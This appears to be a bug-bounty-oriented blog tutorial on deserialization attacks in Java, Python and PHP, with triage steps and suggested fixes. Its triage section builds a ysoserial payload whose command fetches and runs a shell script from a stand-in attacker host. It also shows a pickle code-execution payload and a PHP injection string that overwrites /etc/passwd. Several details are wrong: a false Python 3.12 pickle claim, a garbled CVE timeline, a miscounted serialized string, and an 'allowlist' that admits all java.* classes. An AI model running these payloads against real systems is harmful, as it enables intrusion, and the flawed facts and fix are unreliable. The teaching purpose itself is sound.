Deserialization Attacks: The Primitive That Won’t Die

TL;DR: Deserialization is a fundamental language primitive — turning bytes back into objects — and that makes it a broad attack surface. A crafted byte stream can trigger chained method calls (Java gadgets), execute code on load (Python pickle), or mutate internal state (PHP object injection). In bug bounties, they show up as unauthenticated RCEs with CVSS 9.8+. The fix is rarely a single line — it’s a discipline of explicit allowlists and safe parsers.


Last week, CISA added CVE-2026-129448 to its Known Exploited Vulnerabilities catalog: Apache Roller, deserialization of untrusted data in its XML-RPC endpoint, CVSS 9.8. Unauthenticated. Remote code execution. Actively exploited. Same underlying flaw as CVE-2026-82384, just a broader version range.

Three months ago it was a Spring4Shell. Twelve months before that, a Log4Shell. Five years before that, a CommonsCollections gadget chain. The CVE ID changes. The primitive stays the same.

Here’s why deserialization keeps producing critical vulnerabilities, how to find them in the wild, and how to triage them when you do.

What Is Deserialization (and Why Is It Dangerous)?

Deserialization is the act of converting a serialized byte stream back into an object in memory. The serializer embeds enough metadata for the runtime to reconstruct the object’s class, fields, and sometimes even its methods. That convenience is also the risk.

Serialized bytes  →  Serializer  →  Object in memory
[0x42 0x7D 0x01 ...]    (deserializes)    MyClass { field = "hello", ref = SomeOtherClass }

When the object is created, its class constructor runs. If that constructor calls Runtime.exec(), opens a socket, or loads a file — the attacker controls what runs. The byte stream says class=FileLoader, and the deserializer instantiates it.

The key insight: the attacker doesn’t need to know the method names. They just need to know the class names that exist in the classpath at runtime. The classpath is the inventory. Each class is a potential building block. Chains of these blocks are the exploits.

Language-Specific Deserialization Primitives

Java — Gadget Chains

Java’s ObjectInputStream.readObject() is the classic deserialization endpoint. The JVM deserializes a stream, instantiates classes, and populates fields based on the stream’s metadata.

The power comes from gadget chains — sequences of method calls that, when chained together, produce a side effect like code execution. The chain doesn’t need to include Runtime.exec() at the top level. It can be:

readObject()  →  HashMap.readObject()  →  HashEntry.readObject()  →  TransformerUtils.transform()  →  Runtime.exec()

The CommonsCollections library alone had dozens of such chains. Spring, JBoss, Apache Commons, Jackson, and Gson each brought their own.

How to find them in bug bounty:

  1. Look for HTTP endpoints that accept application/x-java-serialized-object, application/octet-stream, or application/x-www-form-urlencoded with a data= or object= parameter.
  2. Check for java.lang.Object, java.util.HashMap, java.lang.Class in the response (timing or content-based).
  3. Try the ysoserial tool with different payload generators against the endpoint.
  4. If the app uses Spring, try SpringResult payloads with JdbcRowSetImpl targets.

Triaging a Java deserialization find:

# Check if the endpoint accepts serialized input
curl -X POST https://target.com/api/import \
  -H "Content-Type: application/x-java-serialized-object" \
  -d @exploit.ser

# If it returns a different error or takes longer, it likely deserialized
# Now chain it:
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/sh|bash' > exploit.ser
curl -X POST https://target.com/api/import \
  -H "Content-Type: application/x-java-serialized-object" \
  -d @exploit.ser

Python — pickle, yaml, json (sometimes)

Python’s pickle module is the most dangerous serializer. Unlike Java, where you need a specific class in the classpath, Python’s pickle can execute arbitrary code just by referencing any class’s __reduce__ method.

import pickle
import os

# A pickle payload that runs `whoami` on deserialization
class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())
print(payload)  # b'\x80\x04\x95\x0c\x00\x00\x00\x00\x00\x00\x00\x8c\x08os\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

yaml.unsafe_load() is equally dangerous — it instantiates any Python class whose __module__ and __name__ it finds.

The pickle gotcha: Python 3.12+ changed the default pickle protocol to reject global references outside the __main__ module by default. This closes the most common pickle RCE path. But many apps still use pickle.loads(data, fix_imports=True, encoding="latin1") which restores the old behavior. And dill, jsonpickle, and marshmallow all have their own deserialization risks.

How to find them:

  1. Look for __proto__ or pickle: in URL parameters, cookies, or headers.
  2. Check for yaml.unsafe_load() in Flask/Django route handlers.
  3. Search for shelve.open(), dbm, or marshal calls — these all use pickle under the hood.
  4. Look for file upload endpoints that store files as pickle objects.

PHP — Object Injection

PHP’s unserialize() function accepts any serializable object. If the app has a class with a __wakeup(), __destruct(), or __toString() magic method, deserializing a crafted string can trigger arbitrary code.

class CacheHandler {
    public $filename;
    public function __destruct() {
        file_put_contents($this->filename, "cached data");
    }
}

// Craft: O:11:"CacheHandler":1:{s:8:"filename";s:11:"/etc/passwd";}
// Result: writes "cached data" to /etc/passwd

How to find them:

  1. Look for O: in cookies, URL params, or JSON responses.
  2. Find classes with magic methods (__wakeup, __destruct, __toString, __call).
  3. Check if the app has a gadget chain — a sequence of magic methods that leads to code execution.
  4. Try phpggc with different gadget chains against the target.

The Common Patterns

Regardless of language, deserialization vulnerabilities share a set of structural patterns:

Pattern 1: Unauthenticated Input Deserialization

The endpoint accepts serialized data from an unauthenticated user and deserializes it without validation.

POST /api/import HTTP/1.1
Content-Type: application/x-java-serialized-object

[blob]

This is the most common bug bounty find. The fix is to restrict the content type and validate the deserialized object’s class against an allowlist.

Pattern 2: Stored Deserialization

The app deserializes data stored in a database, cache, or file. The attacker controls the serialized form and waits for the next deserialization.

User submits → stored as pickle → admin panel reads and deserializes → code execution

This is slower to exploit (need to wait for deserialization) but often harder to detect because the exploit chain spans multiple requests.

Pattern 3: Deserialization in Middleware

The app uses a framework middleware that auto-deserializes request bodies. The attacker crafts the body, and the middleware handles the rest.

# Flask with a custom deserializing middleware
@app.route('/api/process', methods=['POST'])
def process():
    data = deserialize(request.data)  # Middleware does this
    return jsonify(data)

Pattern 4: Deserialization After Transformation

The serialized data passes through a transformation (compression, encoding, encryption) before deserialization. The transform can change the byte stream but not the deserialized object.

GZIP-compressed pickle → decompress → pickle.loads()

Attackers need to compress their payload before sending it. Tools like ysoserial often include compression steps.

How to Triage a Deserialization Finding

When you find a potential deserialization vulnerability, follow this triage:

Step 1: Confirm deserialization is happening.

Send a valid serialized payload. If the response is different from a non-deserializing request (different error, different timing, different content), deserialization is occurring.

Step 2: Identify the deserialization library.

  • Java: ObjectInputStream, XStream, Jackson, Gson, Fastjson
  • Python: pickle, yaml.unsafe_load, json, shelve, marshal, dill
  • PHP: unserialize(), json_decode() (sometimes)
  • .NET: BinaryFormatter, DataContractSerializer, JavaScriptSerializer

Step 3: Enumerate available classes.

  • Java: check the classpath (look for WEB-INF/lib/*.jar files, check ClassPathResource)
  • Python: look at __reduce__ methods in imported modules
  • PHP: find classes with magic methods in the codebase
  • .NET: check referenced assemblies

Step 4: Build and test a chain.

Use ysoserial, phpggc, or craft a custom payload. Start with whoami or a DNS callback, then chain to RCE.

Step 5: Confirm impact.

Does the deserialized class have __wakeup() that opens a file? A __destruct() that deletes data? A method that executes a shell command?

The Fixes That Actually Work

Allowlist validation (Java)

public class SafeObjectInputStream extends ObjectInputStream {
    private Set<String> allowedClasses = Set.of(
        "com.example.User",
        "com.example.Order",
        "java.lang.String",
        "java.util.ArrayList"
    );

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        if (!allowedClasses.contains(className) && !className.startsWith("java.")) {
            throw new ClassNotFoundException("Unauthorized: " + className);
        }
        return super.resolveClass(desc);
    }
}

Safe YAML (Python)

import yaml

# GOOD: safe_load only creates basic Python types
data = yaml.safe_load(stream)

# BAD: unsafe_load can create arbitrary Python objects
data = yaml.unsafe_load(stream)

# BETTER: use a custom constructor for known types
class SafeLoader(yaml.SafeLoader):
    pass

def user_constructor(loader, node):
    values = loader.construct_mapping(node)
    return User(**values)

SafeLoader.add_constructor('!user', user_constructor)
data = yaml.load(stream, Loader=SafeLoader)

JSON instead of pickle (Python)

If you control the data format, prefer JSON. It’s language-agnostic, human-readable, and has no code execution risk by default.

import json

# Safe — no code execution
data = json.loads(serialized_data)

# Dangerous — code execution
data = pickle.loads(serialized_data)

When Deserialization Is Safe

Not every deserialization is risky. These are generally safe:

  • JSON — no code execution, no class instantiation
  • protobuf — schema-defined, no dynamic class loading
  • MessagePack — binary format with a fixed set of types
  • TOML / ini — flat key-value structures
  • XML with a fixed schema — when using a strict DTD/XSD and a non-external-entity parser

The risk is highest when the deserializer can create arbitrary classes based on the input stream.

Lessons Learned

Deserialization is a search problem, not a code problem. You find it by scanning for serializer calls and tracing the classpath or module imports. It’s not a pattern in the code — it’s a pattern in the dependencies.

The classpath is the inventory. Every class that can be instantiated from a serialized stream is a potential gadget. Audit the classpath the same way you audit npm dependencies.

Allowlists beat blacklist filters. Blocking Runtime.exec works until the next gadget chain uses ProcessBuilder, ProcessImpl, or ProcessHandle. Allowing only known-good classes is definitive.

Serialization format ≠ serialization library. JSON can be dangerous in Java if the app uses ObjectMapper.readValue() with a polymorphic type handler. Pickle can be safe in Python if you only deserialize str, int, list, and dict.

CVE-2026-129448 isn’t an anomaly. It’s the latest entry in a list that stretches back to 2015 (and before). Deserialization won’t go away because it’s fundamental to how languages manage state. What changes is the library ecosystem and the classes that get added to it.

Further Reading